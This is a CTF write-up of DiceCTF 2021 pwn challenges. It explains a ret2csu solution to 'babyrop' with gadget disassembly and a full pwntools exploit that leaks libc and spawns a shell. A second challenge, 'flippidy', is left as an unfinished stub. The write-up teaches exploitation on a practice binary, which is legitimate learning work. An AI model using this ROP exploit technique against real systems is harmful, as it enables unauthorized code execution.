---
# System prepended metadata

title: DiceCTF 2021 Pwn
tags: [DiceCTF]

---

# DiceCTF 2021 Pwn

## Challenge 1: babyrop (ret2csu)

> [name=ret2basic]

### Description

"FizzBuzz101: Who wants to write a ret2libc"

`nc dicec.tf 31924`

[babyrop](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/babyrop/babyrop)

### Recon

```shell
$ file babyrop
babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a721f8e2550d74dddcaae7e8754bff9095e3488d, for GNU/Linux 3.2.0, not stripped
```

```shell
$ checksec babyrop
[*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/babyrop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique, such as **ret2libc**. But the challenge descriptions clearly says this isn't about ret2libc, so there must be some nuance here.

### Pseudocode

`main`:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-40h]

  write(1, "Your name: ", 0xBuLL);
  gets(&v4);
  return 0;
}
```

### Analysis

This challenge looks like a typical ret2libc (with ret2write), **but we don't have the ability to control `rdx`**. To leak the address of `write@GOT` from libc, we have to call something like `write(1, write_got, 8)`. But the lack of control on `rdx` makes address leakage impossible, so **ret2libc fails for this challenge**.

In such case, we should try **ret2csu**.

Disassemble the target binary:

```shell
$ objdump -M intel -d babyrop > disassembly.asm
```

Examine the CSU gadgets from disassembly:

**CSU gadget 1:**

```assembly
  4011ca:	5b                   	pop    rbx
  4011cb:	5d                   	pop    rbp
  4011cc:	41 5c                	pop    r12
  4011ce:	41 5d                	pop    r13
  4011d0:	41 5e                	pop    r14
  4011d2:	41 5f                	pop    r15
  4011d4:	c3                   	ret
```

This CSU gadget helps us set up the values in:

- **RBX**
- **RBP**
- **R12**
- **R13**
- **R14**
- **R15**

However, this isn't enough because we only care about setting up `rdx`, hence we need another CSU gadget.

**CSU gadget 2:**

```assembly
  4011b0:	4c 89 f2             	mov    rdx,r14
  4011b3:	4c 89 ee             	mov    rsi,r13
  4011b6:	44 89 e7             	mov    edi,r12d
  4011b9:	41 ff 14 df          	call   QWORD PTR [r15+rbx*8]
  4011bd:	48 83 c3 01          	add    rbx,0x1
  4011c1:	48 39 dd             	cmp    rbp,rbx
  4011c4:	75 ea                	jne    4011b0 <__libc_csu_init+0x40>
  4011c6:	48 83 c4 08          	add    rsp,0x8
  4011ca:	5b                   	pop    rbx
  4011cb:	5d                   	pop    rbp
  4011cc:	41 5c                	pop    r12
  4011ce:	41 5d                	pop    r13
  4011d0:	41 5e                	pop    r14
  4011d2:	41 5f                	pop    r15
  4011d4:	c3                   	ret
```

The essence in this CSU gadget is `mov rdx,r14`, which allows us to control the value in RDX eventually.

The idea is:

1. **Push a series of carefully prepared values onto the stack.**
2. **Call CSU gadget 1 => the values that we pushed onto the stack get popped into each register. In particular, we want `r14 = 8`.**
3. **Call CSU gadget 2 => `mov rdx,r14` sets `rdx = 8`.**

But be careful:

1. **CSU gadget 2 contains an instruction `cmp rbp,rbx`. Right before it, there is `add    rbx,0x1`. Therefore, to bypass this check, we can simply set `rbx=0` and `rbp=1`.**
2. **CSU gadget 2 and CSU gadget 1 share the exactly same `ret` instruction. When calling CSU gadget 2, we want it to reach that `ret` as well. Here we can pass some junk values `b"B" * 56` to overwrite the content between `0x4011c6` and `0x4011d2` (the overlapped CSU gadget 1 content). There are 7 instructions, each of them is 8-byte long, so we need 56 bytes of junk values in total.**

### Exploit

```python=1
#!/usr/bin/env python3
from pwn import *

#-------------#
# Preparation |
#-------------#

context(arch="amd64", os="linux")
elf = ELF("babyrop", checksec=False)

local = True
if local:
    r = elf.process()
else:
    host = "dicec.tf"
    port = 31924
    r = remote(host, port)

#-------------------------------------#
# Step 1: Leak write_got with ret2csu |
#-------------------------------------#

offset = 72

# Function addresses
write_got = elf.got["write"]
main = elf.sym["main"]

# csu gadgets
csu1 = 0x4011ca
csu2 = 0x4011b0

# Helper function for generating ret2csu payload
def csu(rbx, rbp, r12, r13, r14, r15, ret):
    payload = flat(
        b"A" * offset,
        csu1, rbx, rbp, r12, r13, r14, r15,
        # r12 = rdi; r13 = rsi; r14 = rdx
        csu2,
        b"B" * 56,
        ret,
    )

    return payload

# Call write(rdi=1, rsi=write.got, rdx=8)
payload1 = csu(rbx=0, rbp=1, r12=1, r13=write_got, r14=8, r15=write_got, ret=main)

# Leak write@GOT address from libc
r.sendlineafter("Your name: ", payload1)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
log.info(f"write_leak: {hex(write_leak)}") # [*] write_leak: 0x7f1c2d4df1d0

#-----------------------------------------#
# Step 2: Search offsets in libc database |
#-----------------------------------------#

# Search the offset of "write" in libc database and compute libc base address
write_offset = 0x1111d0
libc_base = write_leak - write_offset
system = libc_base + 0x055410
bin_sh = libc_base + 0x1b75aa

#----------------------#
# Step 3: Get shell!!! |
#----------------------#

# ROPgadget --binary babyrop --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004011d3
# ROPgadget --binary babyrop --only "ret"
ret = 0x000000000040101a

payload2 = flat(
    b"A" * offset,
    pop_rdi, bin_sh,
    ret, system,
)

r.sendlineafter("Your name: ", payload2)
r.interactive()
```

#### Flag

```
dice{so_let's_just_pretend_rop_between_you_and_me_was_never_meant_b1b585695bdd0bcf2d144b4b}
```

## Challenge 2: flippidy

> [name=ret2basic] 

### Description

See if you can flip this program into a flag :D

[flippidy](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/flippidy/flippidy)

[libc.so.6](https://github.com/sajjadium/CTFium/raw/master/DiceCTF/2021/pwn/flippidy/libc.so.6)

### Recon

```shell
$ file flippidy
flippidy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9bad92d378d5af68a52fd2856145dc8588533a25, for GNU/Linux 3.2.0, stripped
```

Note that the target binary is **stripped**, so we know nothing about the function names.

```shell
$ checksec flippidy
[*] '/root/Dropbox/CTF/DiceCTF/2021/Pwn/flippidy/flippidy'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

### Pseudocode

`main`:

```c=1

```

### Analysis

Todo!

### Exploit

```python=1

```

#### Flag

```

```

###### tags: `DiceCTF`